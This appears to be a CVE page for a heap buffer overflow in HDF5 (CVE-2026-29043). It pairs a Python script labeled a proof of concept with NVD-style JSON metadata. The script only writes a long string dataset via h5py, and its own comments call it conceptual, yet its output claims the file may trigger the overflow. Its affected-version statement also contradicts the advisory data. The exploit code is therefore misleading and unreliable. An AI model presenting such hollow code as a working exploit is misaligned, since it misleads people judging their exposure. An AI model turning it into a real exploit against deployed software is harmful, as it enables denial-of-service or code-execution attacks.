CVE-2026-29043

import sys # PoC for CVE-2026-29043 (HDF5 Heap Buffer Overflow) # This script demonstrates the context of triggering the vulnerability # by attempting to create a file structure that interacts with H5T__ref_mem_setnull. # Note: Actual exploitation requires precise binary layout of the H5 file. def generate_malicious_h5(filename): try: import h5py print("[+] Attempting to create a malformed H5 file structure...") # Create an HDF5 file with h5py.File(filename, 'w') as f: # Create a group and dataset that might trigger the vulnerable code path # The vulnerability is in reference memory setting (H5T__ref_mem_setnull) grp = f.create_group('vuln_group') # Attempt to write data that could overflow the buffer in the specific method # This is a conceptual representation data = 'A' * 10000 grp.create_dataset('overflow_trigger', data=data) print(f"[+] File created: {filename}") print("[!] If parsed by a vulnerable HDF5 version (< 1.14.1-2), this may trigger the overflow.") except ImportError: print("[-] h5py module not found. Please install it to run this PoC.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) > 1: generate_malicious_h5(sys.argv[1]) else: generate_malicious_h5('cve_2026_29043_poc.h5')

{"cve": {"id": "CVE-2026-29043", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:30.693", "lastModified": "2026-04-16T19:40:13.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HDF5 is software for managing data. In 1.14.1-2 and earlier, an attacker who can control an h5 file parsed by HDF5 can trigger a write-based heap buffer overflow condition in the H5T__ref_mem_setnull method. This can lead to a denial-of-service condition, and potentially further issues such as remote code execution depending on the practical exploitability of the heap overflow against modern operating systems."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hdfgroup:hdf5:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.14.1-2", "matchCriteriaId": "B31207D0-FC14-4CA5-89E2-F4223AD53DD5"}]}]}], "references": [{"url": "https://github.com/HDFGroup/hdf5/security/advisories/GHSA-qm2m-5g5w-2277", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}